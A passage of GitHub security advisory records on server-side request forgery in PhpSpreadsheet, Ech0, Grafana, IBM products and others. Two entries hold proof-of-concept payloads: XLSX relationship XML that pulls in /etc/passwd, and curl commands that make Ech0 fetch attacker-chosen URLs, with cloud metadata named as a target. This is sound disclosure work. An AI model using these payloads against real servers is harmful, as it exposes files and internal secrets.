  "details": "### Summary\n\nIt\u0027s possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer-\u003esetEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file\u0027s type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.\n\n### Details\n\nXLSX files allow embedding or linking media. When \n\nIn `xl/drawings/drawing1.xml` an attacker can do e.g.:\n```xml\n\u003ca:blip cstate=\"print\" r:link=\"rId1\" /\u003e\n```\n\nAnd then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as:\n```xml\n\u003cRelationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"/etc/passwd\" /\u003e\n```\nor\n```xml\n\u003cRelationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"http://example.org\" /\u003e\n```\n\nWhen the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used.\n\n```php\nif ($this-\u003eembedImages || str_starts_with($imageData, \u0027zip://\u0027)) {\n    $picture = @file_get_contents($filename);\n    if ($picture !== false) {\n        $imageDetails = getimagesize($filename) ?: [\u0027mime\u0027 =\u003e \u0027\u0027];\n        // base64 encode the binary data\n        $base64 = base64_encode($picture);\n        $imageData = \u0027data:\u0027 . $imageDetails[\u0027mime\u0027] . \u0027;base64,\u0027 . $base64;\n    }\n}\n\n$html .= \u0027\u003cimg style=\"position: absolute; z-index: 1; left: \u0027\n    . $drawing-\u003egetOffsetX() . \u0027px; top: \u0027 . $drawing-\u003egetOffsetY() . \u0027px; width: \u0027\n    . $drawing-\u003egetWidth() . \u0027px; height: \u0027 . $drawing-\u003egetHeight() . \u0027px;\" src=\"\u0027\n    . $imageData . \u0027\" alt=\"\u0027 . $filedesc . \u0027\" /\u003e\u0027;\n```\n\n### PoC\n\n```php\n\u003c?php\n\nrequire \u0027vendor/autoload.php\u0027;\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader-\u003eload(__DIR__ . \u0027/book.xlsx\u0027);\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\n$writer-\u003esetEmbedImages(true);\n$output = $writer-\u003egenerateHTMLAll();\n\n// The below is just for demo purposes\n\n$pattern = \u0027/data:;base64,(?\u003cdata\u003e[^\"]+)/i\u0027;\n\npreg_match_all($pattern, $output, $matches);\n\nprint(\"*** /etc/passwd content: ***\\n\");\nprint(base64_decode($matches[\u0027data\u0027][0]));\n\nprint(\"*** HTTP response content: ***\\n\");\nprint(base64_decode($matches[\u0027data\u0027][1]));\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx)\n\nRun with:\n`php index.php`\n\n### Impact\n\nWhen embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.",
  "id": "GHSA-w9xv-qf98-ccq4",
  "modified": "2025-03-06T18:13:21Z",
  "published": "2024-10-07T15:58:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45291"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled"
}

GHSA-WC2V-P2CH-RF7V

Vulnerability from github – Published: 2022-05-24 19:16 – Updated: 2022-05-24 19:16

Details

Myucms v2.2.1 contains a server-side request forgery (SSRF) in the component \controller\index.php, which can be exploited via the sj() method.

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{
  "affected": [],
  "aliases": [
    "CVE-2020-21653"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-06T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Myucms v2.2.1 contains a server-side request forgery (SSRF) in the component \\controller\\index.php, which can be exploited via the sj() method.",
  "id": "GHSA-wc2v-p2ch-rf7v",
  "modified": "2022-05-24T19:16:59Z",
  "published": "2022-05-24T19:16:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-21653"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lolipop1234/XXD/issues/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-WC4H-2348-JC3P

Vulnerability from github – Published: 2026-04-03 03:30 – Updated: 2026-04-06 23:41

Summary

Ech0 has Unauthenticated Server-Side Request Forgery in Website Preview Feature

Details

Summary

Ech0 implements link preview (editor fetches a page title) through GET /api/website/title. That is legitimate product behavior, but the implementation is unsafe: the route is unauthenticated, accepts a fully attacker-controlled URL, performs a server-side GET, reads the entire response body into memory (io.ReadAll). There is no host allowlist, no SSRF filter, and InsecureSkipVerify: true on the outbound client.

Attacker outcome : Anyone who can reach the instance can force the Ech0 server to open HTTP/HTTPS URLs of their choice as seen from the server’s network position (Docker bridge, VPC, localhost from the process view). Go’s default http.Client follows redirects (unless disabled). Redirect chains can move the server-side request from an allowed-looking host to an internal target; the code does not disable this in SendRequest.

Affected Components

Ech0 codebase:

internal/handler/common/common.go
Handles the /api/website/title endpoint and accepts user-controlled URL input.
internal/service/common/common.go
Processes the request and invokes the outbound HTTP fetch (GetWebsiteTitle).
internal/util/http/http.go
Performs the HTTP request (SendRequest) with the following insecure configurations:
No URL validation or allowlist
Redirects enabled (default client behavior)
InsecureSkipVerify: true

PoC

Environment: Ech0 listening on http://127.0.0.1:6277 (e.g. Docker image sn0wl1n/ech0:latest). No cookies or Authorization header.

Step 1 — baseline: unauthenticated server-side fetch (public URL):

curl.exe -sS -m 20 "http://127.0.0.1:6277/api/website/title?website_url=https://example.com"

Observed result (verified): HTTP 200, JSON with code: 1 and data Example Domain — proves the Ech0 process performed an outbound GET without any client auth.

Step 2 — impact: host-bound page + recorded leak (repo PoC file) Committed PoC page: poc_ssrf_proof.html

From poc file directory, listen on 0.0.0.0 (port 9999):

python -m http.server 9999 --bind 0.0.0.0

Docker Desktop (Windows / macOS): Ech0 in Docker fetches the host via host.docker.internal:

curl.exe -sS -m 20 "http://127.0.0.1:6277/api/website/title?website_url=http://host.docker.internal:9999/poc_ssrf_proof.html"

Recorded response (verified this workspace, Ech0 4.2.2 in Docker):

{"code":1,"msg":"获取网站标题成功","data":"ECH0_SSRF_POC_LEAK_2026"}

Python server log: GET /poc_ssrf_proof.html → 200 (proves the server/container pulled the page from your host).

Leak channel: the backend reads the full HTML body before parsing (see io.ReadAll in SendRequest).

Impact

Verified: Unauthenticated callers can make the Ech0 process issue server-side HTTP(S) requests to internal/reserved targets reachable from that process (PoC Step 2: host-reachable listener reflected in JSON).
Code-level: The full response is read into memory (io.ReadAll); only the title string is returned. Combined with default HTTP redirect following (standard http.Client behavior; not disabled here), the effective request graph is larger than a single URL.
TLS: InsecureSkipVerify: true means misissued or intercepted TLS to internal HTTPS services is still accepted from the server’s perspective.
Deployment-dependent: Where routing allows (typical cloud VMs), 169.254.169.254-class endpoints are in scope for the same code path; treat as *high.
DOS(Denial of Service): reading the whole body into memory with io.ReadAll is a DoS vector if you point it at a massive file.

Remediation

Enforce SSRF-safe URL policy: allow only needed schemes/hosts; block link-local, metadata, and loopback unless explicitly required.
Remove InsecureSkipVerify; use normal TLS verification.
Limit redirects (disable or cap hops; re-validate each target).
Add response size / timeout limits; optionally restrict egress at the network layer.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lin-snow/ech0"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.8-0.20260401031029-4ca56fea5ba4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35036"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T03:30:53Z",
    "nvd_published_at": "2026-04-06T17:17:12Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nEch0 implements **link preview** (editor fetches a page title) through **`GET /api/website/title`**. That is **legitimate product behavior**, but the implementation is **unsafe**: the route is **unauthenticated**, accepts a **fully attacker-controlled URL**, performs a **server-side GET**, reads the **entire response body** into memory (`io.ReadAll`). There is **no** host allowlist, **no** SSRF filter, and **`InsecureSkipVerify: true`** on the outbound client.\n\n**Attacker outcome :** Anyone who can reach the instance can **force the Ech0 server** to open **HTTP/HTTPS URLs of their choice** as seen from the **server\u2019s network position** (Docker bridge, VPC, localhost from the process view). \nGo\u2019s default `http.Client` **follows redirects** (unless disabled). Redirect chains can move the server-side request from an allowed-looking host to an internal target; the code does not disable this in `SendRequest`.\n\n### Affected Components\n\n**Ech0 codebase:**\n\n- `internal/handler/common/common.go`  \n  Handles the `/api/website/title` endpoint and accepts user-controlled URL input.\n\n- `internal/service/common/common.go`  \n  Processes the request and invokes the outbound HTTP fetch (`GetWebsiteTitle`).\n\n- `internal/util/http/http.go`  \n  Performs the HTTP request (`SendRequest`) with the following insecure configurations:\n  - No URL validation or allowlist\n  - Redirects enabled (default client behavior)\n  - `InsecureSkipVerify: true`\n\n### PoC \n\n**Environment:** Ech0 listening on `http://127.0.0.1:6277` (e.g. Docker image `sn0wl1n/ech0:latest`). No cookies or `Authorization` header.\n\n**Step 1 \u2014 baseline: unauthenticated server-side fetch (public URL):**\n\n```bash\ncurl.exe -sS -m 20 \"http://127.0.0.1:6277/api/website/title?website_url=https://example.com\"\n```\n\n**Observed result (verified):** HTTP 200, JSON with `code: 1` and `data` **`Example Domain`** \u2014 proves the **Ech0 process** performed an outbound GET without any client auth.\n\n**Step 2 \u2014 impact: host-bound page + recorded leak (repo PoC file)**\nCommitted PoC page: **`poc_ssrf_proof.html`** \n\n1. From **`poc file directory`**, listen on **0.0.0.0** (port **9999**):\n\n```bash\npython -m http.server 9999 --bind 0.0.0.0\n```\n\n2. **Docker Desktop (Windows / macOS):** Ech0 in Docker fetches the host via `host.docker.internal`:\n\n```bash\ncurl.exe -sS -m 20 \"http://127.0.0.1:6277/api/website/title?website_url=http://host.docker.internal:9999/poc_ssrf_proof.html\"\n```\n\n**Recorded response (verified this workspace, Ech0 4.2.2 in Docker):**\n\n```json\n{\"code\":1,\"msg\":\"\u83b7\u53d6\u7f51\u7ad9\u6807\u9898\u6210\u529f\",\"data\":\"ECH0_SSRF_POC_LEAK_2026\"}\n```\n\n**Python server log:** `GET /poc_ssrf_proof.html` \u2192 **200** (proves the **server/container** pulled the page from your host).\n\n**Leak channel:** the backend **reads the full HTML body** before parsing (see `io.ReadAll` in `SendRequest`).\n\n\n### Impact\n\n- **Verified:** Unauthenticated callers can make the Ech0 process issue **server-side HTTP(S) requests** to **internal/reserved targets** reachable from that process (PoC Step 2: host-reachable listener reflected in JSON).\n- **Code-level:** The full response is **read into memory** (`io.ReadAll`); only the title string is returned. Combined with **default HTTP redirect following** (standard `http.Client` behavior; not disabled here), the effective request graph is larger than a single URL.\n- **TLS:** `InsecureSkipVerify: true` means **misissued or intercepted TLS** to internal HTTPS services is still accepted from the server\u2019s perspective.\n- **Deployment-dependent:** Where routing allows (typical cloud VMs), **`169.254.169.254`-class** endpoints are in scope for the **same code path**; treat as **high*.\n- **DOS(Denial of Service)**: reading the whole body into memory with io.ReadAll is a DoS vector if you point it at a massive file.\n\n\n## Remediation\n\n- Enforce **SSRF-safe URL policy**: allow only needed schemes/hosts; block link-local, metadata, and loopback unless explicitly required.\n- Remove **`InsecureSkipVerify`**; use normal TLS verification.\n- **Limit redirects** (disable or cap hops; re-validate each target).\n- Add **response size / timeout** limits; optionally restrict egress at the **network** layer.",
  "id": "GHSA-wc4h-2348-jc3p",
  "modified": "2026-04-06T23:41:04Z",
  "published": "2026-04-03T03:30:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-wc4h-2348-jc3p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35036"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lin-snow/Ech0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ech0 has Unauthenticated Server-Side Request Forgery in Website Preview Feature"
}

GHSA-WC5H-762J-W3CX

Vulnerability from github – Published: 2022-08-02 00:00 – Updated: 2022-08-05 00:00

Details

IBM DataPower Gateway 10.0.2.0 through 10.0.4.0, 10.0.1.0 through 10.0.1.8, 10.5.0.0, and 2018.4.1.0 through 2018.4.1.21 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 228433.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2022-31776"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-01T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "IBM DataPower Gateway 10.0.2.0 through 10.0.4.0, 10.0.1.0 through 10.0.1.8, 10.5.0.0, and 2018.4.1.0 through 2018.4.1.21 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 228433.",
  "id": "GHSA-wc5h-762j-w3cx",
  "modified": "2022-08-05T00:00:24Z",
  "published": "2022-08-02T00:00:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31776"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/228433"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6608604"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WC5M-7WGP-F4F3

Vulnerability from github – Published: 2025-09-29 21:30 – Updated: 2025-10-09 18:30

Details

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.1.102 and Application prior to version 25.1.1413 (VA/SaaS deployments) contain a blind and non-blind server-side request forgery (SSRF) vulnerability. The '/var/www/app/console_release/hp/badgeSetup.php' script is reachable from the Internet without any authentication and builds URLs from user‑controlled parameters before invoking either the custom processCurl() function or PHP’s file_get_contents(); in both cases the hostname/URL is taken directly from the request with no whitelist, scheme restriction, IP‑range validation, or outbound‑network filtering. Consequently, any unauthenticated attacker can force the server to issue arbitrary HTTP requests to internal resources. This enables internal network reconnaissance, credential leakage, pivoting, and data exfiltration. This vulnerability has been confirmed to be remediated, but it is unclear as to when the patch was introduced.

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [],
  "aliases": [
    "CVE-2025-34231"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-29T21:15:36Z",
    "severity": "HIGH"
  },
  "details": "Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.1.102\u00a0and Application prior to version 25.1.1413\u00a0(VA/SaaS deployments) contain a blind and non-blind server-side request forgery (SSRF) vulnerability. The \u0027/var/www/app/console_release/hp/badgeSetup.php\u0027 script is reachable from the Internet without any authentication and builds URLs from user\u2011controlled parameters before invoking either the custom processCurl() function or PHP\u2019s file_get_contents(); in both cases the hostname/URL is taken directly from the request with no whitelist, scheme restriction, IP\u2011range validation, or outbound\u2011network filtering. Consequently, any unauthenticated attacker can force the server to issue arbitrary HTTP requests to internal resources. This enables internal network reconnaissance, credential leakage, pivoting, and data exfiltration.\u00a0This vulnerability has been confirmed to be remediated, but it is unclear as to when the patch was introduced.",
  "id": "GHSA-wc5m-7wgp-f4f3",
  "modified": "2025-10-09T18:30:27Z",
  "published": "2025-09-29T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34231"
    },
    {
      "type": "WEB",
      "url": "https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm"
    },
    {
      "type": "WEB",
      "url": "https://help.printerlogic.com/va/Print/Security/Security-Bulletins.htm"
    },
    {
      "type": "WEB",
      "url": "https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html#va-ssrf-07"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vasion-print-printerlogic-ssrf-via-hp-badgesetup-php-script"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WC9W-WVQ2-FFM9

Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2023-10-02 14:34

Summary

Server Side Request Forgery in Grafana

Details

The avatar feature in Grafana (github.com/grafana/grafana/pkg/api/avatar) 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue that allows remote code execution. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client. This can be used to gain information about the network that Grafana is running on.

Severity

5.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N/E:F/RL:O/RC:C

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.1"
            },
            {
              "fixed": "6.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-13379"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-14T16:27:02Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "The avatar feature in Grafana (github.com/grafana/grafana/pkg/api/avatar) 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue that allows remote code execution. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client. This can be used to gain information about the network that Grafana is running on.",
  "id": "GHSA-wc9w-wvq2-ffm9",
  "modified": "2023-10-02T14:34:31Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13379"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grafana/grafana/commit/ba953be95f0302c2ea80d23f1e5f2c1847365192"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/48638"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20200608-0006"
    },
    {
      "type": "WEB",
      "url": "https://rhynorater.github.io/CVE-2020-13379-Write-Up"
    },
    {
      "type": "WEB",
      "url": "https://mostwanted002.cf/post/grafanados"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/O2KSCCGKNEENZN3DW7TSPFBBUZH3YZXZ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EEKSZ6GE4EDOFZ23NGYWOCMD6O4JF5SO"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rff71126fa7d9f572baafb9be44078ad409c85d2c0f3e26664f1ef5a2@%3Cdev.ambari.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re7c4b251b52f49ba6ef752b829bca9565faaf93d03206b1db6644d31@%3Cdev.ambari.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re75f59639f3bc1d14c7ab362bc4485ade84f3c6a3c1a03200c20fe13@%3Cissues.ambari.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd0fd283e3844b9c54cd5ecc92d966f96d3f4318815bbf3ac41f9c820@%3Ccommits.ambari.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rba0247a27be78bd14046724098462d058a9969400a82344b3007cf90@%3Cdev.ambari.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rad99b06d7360a5cf6e394afb313f8901dcd4cb777aee9c9197b3b23d@%3Cdev.ambari.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r984c3b42a500f5a6a89fbee436b9432fada5dc27ebab04910aafe4da@%3Cissues.ambari.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r6bb57124a21bb638f552d81650c66684e70fc1ff9f40b6a8840171cd@%3Cissues.ambari.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r6670a6c29044bcb77d4e5d165b5bd13fffe37b84caa5d6471b13b3a2@%3Cdev.ambari.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r40f0a97b6765de6b8938bc212ee9dfb5101e9efa48bcbbdec02b2a60@%3Cissues.ambari.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r093b405a49fd31efa0d949ac1a887101af1ca95652a66094194ed933@%3Cdev.ambari.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r0928ee574281f8b6156e0a6d0291bfc27100a9dd3f9b0177ece24ae4@%3Cdev.ambari.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://grafana.com/blog/2020/06/03/grafana-6.7.4-and-7.0.2-released-with-important-security-fix"
    },
    {
      "type": "WEB",
      "url": "https://community.grafana.com/t/release-notes-v7-0-x/29381"
    },
    {
      "type": "WEB",
      "url": "https://community.grafana.com/t/release-notes-v6-7-x/27119"
    },
    {
      "type": "WEB",
      "url": "https://community.grafana.com/t/grafana-7-0-2-and-6-7-4-security-update/31408"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00060.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00083.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00009.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/158320/Grafana-7.0.1-Denial-Of-Service.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/06/03/4"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/06/09/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N/E:F/RL:O/RC:C",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server Side Request Forgery in Grafana"
}

GHSA-WCCC-W6WF-GHF3

Vulnerability from github – Published: 2026-06-30 21:31 – Updated: 2026-06-30 21:31

Details

IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 s vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2025-36324"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T21:16:29Z",
    "severity": "MODERATE"
  },
  "details": "IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 s vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
  "id": "GHSA-wccc-w6wf-ghf3",
  "modified": "2026-06-30T21:31:45Z",
  "published": "2026-06-30T21:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36324"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7277801"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

CWE-918

Server-Side Request Forgery (SSRF)

GHSA-W98G-5W9P-P3RC

Summary

Affected component

Vulnerable code

Attack surface / who can trigger it

Impact

Proof of concept

Honest scope note

References (canonical dimension precedents)

Suggested fix

GHSA-W9VR-RGWG-C56X

GHSA-W9WC-VX4J-8XWG

GHSA-W9XV-QF98-CCQ4

Summary

Details

PoC

Impact

GHSA-WC2V-P2CH-RF7V

GHSA-WC4H-2348-JC3P

Summary

Affected Components

PoC

Impact

Remediation

GHSA-WC5H-762J-W3CX

GHSA-WC5M-7WGP-F4F3

GHSA-WC9W-WVQ2-FFM9

GHSA-WCCC-W6WF-GHF3

CAPEC-664: Server Side Request Forgery